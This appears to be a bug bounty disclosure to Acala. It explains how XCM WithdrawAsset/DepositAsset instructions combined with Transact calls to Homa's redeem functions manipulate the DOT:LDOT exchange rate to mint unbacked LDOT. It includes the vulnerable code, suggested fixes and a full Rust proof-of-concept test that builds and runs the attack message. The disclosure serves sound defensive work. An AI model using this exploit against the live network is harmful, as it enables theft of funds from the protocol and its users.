title: bugbounty-acala-2601

Brief

From within an XCM message sent to Acala, anyone can mint unlimited LDOT (liquid DOT) out of thin air for free.

Vulnerability Details

The Homa module

The vulnerability exists in the minting and redeeming process of the Homa module.

The user deposits an amount of DOT, and the Homa module calculates the amount of liquid currency to mint by the current exchange rate.

The exchange rate is calculated as `total_staking_amount / total_liquid_amount` where **total_liquid_amount** is the `total_issuance()` of LDOT, plus the total void liquid:

```
total_liquid_amount = total issuance of LiquidCurrencyId + TotalVoidLiquid

ExchangeRate(staking : liquid) = total_staking_amount / total_liquid_amount
```

The problem, as we'll see in the section below (**XCM instructions**), is with using a currency pallet to get the total issuance of the liquid asset (`T::Currency::total_issuance(T::LiquidCurrencyId::get())`).

XCM instructions

Acala's **XcmConfig** uses `MultiCurrencyAdapter` as the `AssetTransactor`. Asset Transactors implement how to deposit and withdraw assets when executing an XCM.

The core of the exploit is based on three XCM instructions:

- The XCM instruction `WithdrawAsset(..)`, using the LocalAssetTransactor, burns assets, decreasing its total issuance in the `Currency` pallet, and puts that amount in a holding register.
- The XCM instruction `DepositAsset(..)` removes assets from the holding register and mints them in any account id using the `Currency` pallet, increasing its total issuance.
- The XCM instruction `Transact(..)` allows to interact with runtime pallets during the execution of an XCM.

As you may have guessed already, it is possible to decrease or increase the total supply of any asset in the `Currency` pallet without losing it forever (because it is added to a holding register and can be minted back again) before interacting with runtime pallets, like `Homa::mint(..)`, for example.

The attack vector

Let's read a simple example first:

Step 1. Alice uses `Transact(..)` to mint $100,000 worth of LDOT, by depositing $100,000 worth of DOT in `Homa::mint(..)`

Step 2. Alice uses `Withdraw(..)` to temporarily burn $50,000 worth of her LDOT, decreasing the total issuance of LDOT and manipulating the exchange rate of DOT : LDOT.

Step 3. Alice uses `Transact(..)` to `Homa::request_redeem(..)` with the other $50,000 worth of LDOT she holds, and then `Homa::fast_match_redeems(..)` to receive DOT.

At this point, Alice received much more than $50,000 (let's call it `($50k + X) DOT`) worth of DOT when redeeming, because of the manipulated DOT : LDOT exchange rate.

Step 4. Alice uses `Deposit(..)` to mint back the $50,000 worth of LDOT, restoring the exchange rate.

Step 5. Similar to *step 1*, Alice uses `Transact(..)` to mint all the DOT she received, which is more than +$50,000 worth of DOT (`($50k + X) DOT`), in `Homa::mint(..)`, receiving more than +$50,000 worth of LDOT (`($50k + Y) LDOT`).

Step 6. Similar to step 2, Alice burns again her $50k worth of LDOT to manipulate the exchange rate before redeeming her `$50k + Y` LDOT.

Step 7. Redeems, receiving even more DOT than before.

And loops to continue minting extra LDOT out of thin air.

The amount of tokens minted out of thin air per deposit-redeem cycle compounds, leading to bigger losses every time.

If Homa ever runs out of DOT to fast match redeems, Alice can swap her LDOT for DOT with other runtime pallets using `Transact(..)` and deposit herself that DOT, to later redeem it at a manipulated exchange rate, to mint even more free LDOT.

The vulnerable code

```
/// Calculate the total amount of liquid currency.
/// total_liquid_amount = total issuance of LiquidCurrencyId + TotalVoidLiquid
pub fn get_total_liquid_currency() -> Balance {
    T::Currency::total_issuance(T::LiquidCurrencyId::get()).saturating_add(Self::total_void_liquid())
}
```

https://github.com/AcalaNetwork/Acala/blob/152f4446b7f24c20dc7ac1a3df9537702d0c9630/modules/homa/src/lib.rs#L841-L845

Recommended fix

We are better at breaking things than fixing them, but here are a couple of patches we thought of. We are sure you can come up with even better ones:

- Save in `Homa`'s storage the total issuance and update it when needed, instead of asking the `Currency` pallet how much issuance there is.
- Prevent XCM messages from interacting with `Homa`. Currently, the XCM `SafeCallFilter` is set to `Everything`, allowing XCM instructions to interact with all runtime pallets.

```
type SafeCallFilter = Everything;
```

https://github.com/AcalaNetwork/Acala/blob/152f4446b7f24c20dc7ac1a3df9537702d0c9630/runtime/acala/src/xcm_config.rs#L161C1-L161C35

Impact Details

At the time of writing this report, there is around $9,447,083 worth of LDOT inside Acala. Out of respect, we won't waste your time explaining the impact of minting unbacked LDOT, unless you explicitly ask us to do it.

Final note

If you appreciate extra sets of eyes taking a look at the fix, we'll be very happy to audit the fix for free as soon as you request it, to ensure it does not create a different vulnerability somewhere else.

Proof of concept

Proof of Concept

The coded proof of concept reproduces exactly the same attack vector as described in the section "**The attack vector**".

We create two separate tests.

In `infosec_without_manipulation_poc`, Alice deposits and redeems an X amount of tokens without exploiting the vulnerability.

In `infosec_with_manipulation_poc`, Alice deposits and redeems the same amount X, but this time manipulating the exchange rate.

The amount of tokens minted out of thin air per deposit-redeem cycle compounds, leading to bigger losses every time.

Include the tests in `./runtime/integration-tests/src/stable_asset.rs` and run them with `make test infosec_without_manipulation_poc` or `make test infosec_with_manipulation_poc`.

```
#[test]
fn infosec_without_manipulation_poc() {
    ExtBuilder::default()
        .balances(vec![
            (
                // NetworkContractSource
                MockAddressMapping::get_account_id(&H160::from_low_u64_be(0)),
                NATIVE_CURRENCY,
                1_000_000_000 * dollar(NATIVE_CURRENCY),
            ),
            (
                AccountId::from(ALICE),
                RELAY_CHAIN_CURRENCY,
                1_000_000_000 * dollar(NATIVE_CURRENCY),
            ),
            // Let's set a more reasonable value here,
            // the default that comes with the test environment is too unrealistic
            (AccountId::from(ALICE), LIQUID_CURRENCY, 1_000_000_000_000u128),
        ])
        .build()
        .execute_with(|| {
```

```
            // ==> SETUP THE TEST SUIT <==
            // Before start executing the vulnerability, let's setup Homa, the stable pool, etc.

            let initial_total_liquid_currency = Homa::get_total_liquid_currency();
            let initial_exchange_rate = Homa::current_exchange_rate();

            let ksm_target_amount = 10_000_123u128;
            let lksm_target_amount = 10_000_428u128;
            let account_id: AccountId = StableAssetPalletId::get().into_sub_account_truncating(0);
            enable_stable_asset(
                vec![RELAY_CHAIN_CURRENCY, LIQUID_CURRENCY],
                vec![ksm_target_amount, lksm_target_amount],
                None,
            );

            // In the test suit Homa have soft cap of 0.
            // Let's set the same soft cap as mainnet.
            assert_ok!(Homa::update_homa_params(
                RuntimeOrigin::root(),
                Some(160_000_000_000_000_000u128), // mainnet value
                None,
                None,
                None,
                Some(1),
            ));

            let lb = Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE));
            let rb = Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE));
            // Mint LDOT in Homa, to enable exchange rate calculations
            // (When nobody has minted in Homa, the exchange rate is a default value)
            assert_ok!(Homa::mint(
                RuntimeOrigin::signed(AccountId::from(ALICE)),
                1_000_000_000_000u128
            ));
            assert_eq!( lb + 10000000000000u128, Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE)));
            assert_eq!( rb - 1000000000000u128, Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE)));

            let accounts = vec![AccountId::from(ALICE)];
            assert_ok!(Homa::request_redeem(
                RuntimeOrigin::signed(ALICE.into()),
                10 * dollar(LIQUID_CURRENCY),
                true
            ));
            assert_ok!(Homa::fast_match_redeems(RuntimeOrigin::signed(ALICE.into()), accounts));

            assert_eq!(
                10899899995720u128,
                Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE))
            );
            assert_eq!(
                99999999909080908967u128,
                Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE))
            );
        });
}

#[test]
fn infosec_with_manipulation_poc() {
    ExtBuilder::default()
        .balances(vec![
            (
                // NetworkContractSource
                MockAddressMapping::get_account_id(&H160::from_low_u64_be(0)),
                NATIVE_CURRENCY,
                1_000_000_000 * dollar(NATIVE_CURRENCY),
            ),
```

```
            ),
            (
                AccountId::from(ALICE),
                RELAY_CHAIN_CURRENCY,
                1_000_000_000 * dollar(NATIVE_CURRENCY),
            ),
            // Let's set a more reasonable value here,
            // the default that comes with the test environment is too unrealistic
            (AccountId::from(ALICE), LIQUID_CURRENCY, 1_000_000_000_000u128),
        ])
        .build()
        .execute_with(|| {

            // ==> SETUP THE TEST SUIT <==
            // Before start executing the vulnerability, let's setup Homa, the stable pool, etc.

            let initial_total_liquid_currency = Homa::get_total_liquid_currency();
            let initial_exchange_rate = Homa::current_exchange_rate();

            let ksm_target_amount = 10_000_123u128;
            let lksm_target_amount = 10_000_428u128;
            let account_id: AccountId = StableAssetPalletId::get().into_sub_account_truncating(0);
            enable_stable_asset(
                vec![RELAY_CHAIN_CURRENCY, LIQUID_CURRENCY],
                vec![ksm_target_amount, lksm_target_amount],
                None,
            );

            // In the test suit Homa have soft cap of 0.
            // Let's set the same soft cap as mainnet.
            assert_ok!(Homa::update_homa_params(
                RuntimeOrigin::root(),
                Some(160_000_000_000_000_000u128), // mainnet value
                None,
                None,
                None,
                Some(1),
            ));

            let lb = Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE));
            let rb = Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE));
            // Mint LDOT in Homa, to enable exchange rate calculations
            // (When nobody has minted in Homa, the exchange rate is a default value)
            assert_ok!(Homa::mint(
                RuntimeOrigin::signed(AccountId::from(ALICE)),
                1_000_000_000_000u128
            ));
            assert_eq!( lb + 10000000000000u128, Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE)));
            assert_eq!( rb - 1000000000000u128, Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE)));

            let alice_lksm_balance = Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE));

            #[cfg(feature = "with-mandala-runtime")]
            let shallow_weight = 3_000_000;
            #[cfg(feature = "with-karura-runtime")]
            let shallow_weight = 600_000_000;
            #[cfg(feature = "with-acala-runtime")]
            let shallow_weight = 600_000_000;

            // The origin can be anything, for example, a descendant.
            // We are using ALICE only for simplicity
            let origin: Location = Location::new(
                0,
                Junction::AccountId32 {
                    network: None,
                    id: ALICE.into(),
```

```
        },
    );

    // Prepare the XCM message
    let id: u32 = ParachainInfo::get().into();
    let liquid_currency_location = CurrencyIdConvert::convert(LIQUID_CURRENCY).unwrap();
    let lksmAsset: Asset = (liquid_currency_location.clone(), alice_lksm_balance / 3).into();
    let dot_amount = 1_000 * dollar(RELAY_CHAIN_CURRENCY);
    let feeAsset = Asset {
        id: AssetId(Location::parent()),
        fun: Fungibility::Fungible(dot_amount),
    };
    let accounts = vec![AccountId::from(ALICE)];

    let mut msg = Xcm(vec![
        // Pay XCM fee (so we can execute the XCM message)
        WithdrawAsset(feeAsset.clone().into()),
        BuyExecution {
            fees: feeAsset,
            weight_limit: Limited(Weight::from_parts(shallow_weight, 0)),
        },
        // Burn some of the liquid asset owned by Alice, to manipulate the exchange rate
        WithdrawAsset(lksmAsset.clone().into()),
        // Request a redeem at a manipualted exchange rate
        Transact {
            origin_kind: OriginKind::SovereignAccount,
            fallback_max_weight: Some(1_000_000_000.into()),
            call: RuntimeCall::Homa(module_homa::Call::request_redeem {
                amount: 10 * dollar(LIQUID_CURRENCY),
                allow_fast_match: true,
            })
            .encode()
            .into(),
        },
        // Execute the redeem
        Transact {
            origin_kind: OriginKind::SovereignAccount,
            fallback_max_weight: Some(1_000_000_000.into()),
            call: RuntimeCall::Homa(module_homa::Call::fast_match_redeems {
                redeemer_list: accounts,
            })
            .encode()
            .into(),
        },
        // Get back all burned assets (increasing again its total supply)
        DepositAsset {
            assets: AllCounted(u32::max_value()).into(),
            beneficiary: Junction::AccountId32 {
                network: None,
                id: ALICE,
            }
            .into(),
        },
    ]);
    // Encode the XCM message
    let mut hash = msg.using_encoded(sp_io::hashing::blake2_256);
    use xcm_executor::traits::WeightBounds;
    let weight_limit = <XcmConfig as xcm_executor::Config>::Weigher::weight(&mut msg, Weight::MAX).unwrap_or_default();

    // Run!
    XcmExecutor::<XcmConfig>::prepare_and_execute(origin, msg, &mut hash, weight_limit, Weight::MAX);

    assert_eq!(
        10899899995720u128,
        Currencies::free_balance(LIQUID_CURRENCY, &AccountId::from(ALICE))
```

```
            );
            assert_eq!(
                99999999009080908967u128 + 4545115210u128, // minted more DOT than it should
                Currencies::free_balance(RELAY_CHAIN_CURRENCY, &AccountId::from(ALICE))
            );
        });
}
```